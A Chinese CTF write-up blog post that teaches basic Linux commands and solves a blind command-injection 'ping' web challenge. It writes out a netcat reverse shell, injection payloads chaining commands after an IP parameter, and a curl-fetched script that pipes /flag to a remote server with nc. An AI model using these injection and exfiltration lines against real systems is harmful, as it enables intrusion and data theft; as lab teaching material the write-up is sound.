Dayattack-20201123-web及前置知识

前置基础

linux命令

首先要知道ls,cat,nc,curl等等一些基础命令还有一些基础的符号如:‘|’ ‘&&’ ‘ `` ’,这里就只介绍这道题目所涉及的

ls命令

查看目录有什么文件 列出所有文件
查看 ctf这个文件夹里边有什么文件


image.png

在可视化窗口中打开


image.png

这两个内容是一样的

cat命令

查看文件内容
使用cat命令查看test.txt的内容


image.png

在编辑器中看一下


image.png

一样的

nc命令

nc在ctf一般用来反弹shell 传输文件(在pwn中用来连接远程服务器运行的程序)
首先看下反弹shell

image.png

在ubuntu(左边)中的 ctf/t 文件夹下有一个123.txt
右边是kali机
kali的ip是192.168.159.138
image.png

因为这是局域网 所以反弹shell的时候不用服务器 两台机器是可以互通的
首先在kali上使用
nc -lvp 5666
image.png

这是在kali上监听5666这个端口 等待被攻击机也就是 ubuntu连接
然后我们在ubuntu上执行
nc -e /bin/sh 192.168.159.138 5666
后边分别是kali的ip和要连接kali的端口
image.png

显示已经连上了
image.png

在kali中输入ls可以看到有一个123.txt
我们使用cat看一下
image.png

可以看到 我们在kali上可以读取到ubuntu上的文件,这就是因为ubuntu使用了nc这个命令给了kali一个shell 进而kali就可以操控ubuntu了
这就是反弹shell

然后再来看一下传输文件和信息
在说这个之前我们先说一下 前边提到的符号
&&符号表示 执行多条命令 之间用&&连接
比如现在有123.txt和12.txt


image.png

可以看到两条命令都执行了

然后是 | 符号
| 表示管道,上一条命令的输出,作为下一条命令参数(输入)。
上一条命令的输出结果 把传递给下一条命令
我们传输信息的时候就用到这个符号
还是一样我们首先在kali上面
nc -lvnp 5666
这里多了个n参数 不知道为啥 不加的话 连不上

image.png

可以看到 在kali上已经接收到123.txt的内容
这个就是首先cat 123.txt 得到123.txt中的内容 然后将123.txt内容作为后边nc命令的输入 发送给kali

curl命令

在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。

我们在linux中可以使用curl访问一个web网站
比如


image.png

image.png

服务器

前边我们已经知道在局域网中 两台虚拟机可以互相通过nc连通
但是在实际题目中 题目所在的服务器和我们并不在一个局域网中 无法进行连接


image.png

如图 我们自己的电脑可以访问互联网 而题目服务器是处在互联网中的 所以我们只要联网就可以访问题目
但是从题目服务器是无法访问我们个人局域网的 所以我们要从题目服务器传送信息给我们个人局域网中的电脑是没有办法实现的
所以 我们需要一个服务器 这个服务器有公网IP 这个公网IP就代表是处在互联网中的


image.png

这样 题目服务器和个人服务器是可以互相连通传递信息的

搭建网站

搭建网站推荐使用宝塔,很方便


image.png

这个就是我搭建的网站 url上的链接就是我的公网ip


image.png

在宝塔面板的网站中添加站点,根目录就是服务器的一个文件夹,当有人通过url访问这个链接时,就会默认访问这个文件夹下的index.html

可以看下这个站点文件夹的内容


image.png

我们访问的就是这个index.html

题目讲解

首先这个ping命令的题目

image.png

实际上是题目的代码在服务器中执行了ping这个系统命令
如果没有过滤的话 我们可以这样执行
ip=127.0.0.1&&ls
相当于在服务器上执行ping 127.0.0.1&&ls
前边讲过 &&是两条命令都执行 执行完ping之后执行ls
ls是列出当前文件夹有什么文件
然后我们使用
ip=127.0.0.1&&cat index.php
相当于执行ping 127.0.0.1&&cat index.php
执行完ping命令之后查看index.php文件内容
这样我们也就看到了index.php的内容 同样我们可以查看flag文件的内容
但是这道题目有过滤 并且没有回显 没有回显意思就是说 我们执行命令的结果无法在页面上显示出来 比如我们cat index.php 读到了index的源码 但是页面不显示 依然没有用

因为过滤的比较严重 我们只能通过上传一个脚本文件来获得flag
什么是linux脚本文件呢
脚本文件一般一sh文件尾结尾
和windows中的exe差不多一样
比如说

image.png

我们有一个这样的sh文件
里边内容是 echo 123
echo命令是linux中的输出命令
image.png

会在终端中输出123
我们执行以下sh文件
image.png

可以看到在屏幕中输出了123
如果我们这个sh文件中写的是
cat /123.txt | nc 192.168.159.138 5666
那是不是跟我们之前传送文件信息一样了
image.png

在ubuntu上有一个sh文件 里边是和前边一样的传输文件信息的命令
首选在kali上监听这个端口
image.png

可以看到kali已经接收到这个文件内容了

那么放在这个题目中
我们无法直接在ip参数上cat /falg读出flag 因为读的内容不会在页面上显示出来
那么我们可以利用这个方法
但是我们在网题目服务器上写这个sh文件呢
这就用到了curl这个命令, 我们刚刚测试了curl命令会将网页的内容输出到终端
那我们就在个人服务器上建一个文件里边的内容写成
cat /flag |nc 服务器ip 服务器监听端口
是不是就将 flag中的内容传输到我们的服务器了

这里为啥是 /flag 可以确定flag在这里呢,,只能说 因为经验吧,,flag如果不在网站的目录下那就是在服务器根目录

我们先在个人服务器创建这个sh文件


image.png

然后通过访问 120.25.206.180/const.sh
就可以得到这行代码


image.png

然后还有一个符号 >
在linux中 > 这个符号可以把前边的字符写入到后边的文件中

image.png

可以看到已经将代码写入到start.sh文件了


image.png

我们把写入到 /tmp文件夹下 因为/tmp文件夹一般权限比较大 其他文件夹可能没有写入的权限


image.png

然后在服务器中执行监听端口


image.png

然后使用运行这个sh文件


image.png

可以看到已经读出了flag

至于其他几种方法 都是这样的 都试试

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,185评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,652评论 3 393
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,524评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,339评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,387评论 6 391
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,287评论 1 301
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,130评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,985评论 0 275
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,420评论 1 313
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,617评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,779评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,477评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,088评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,716评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,857评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,876评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,700评论 2 354

推荐阅读更多精彩内容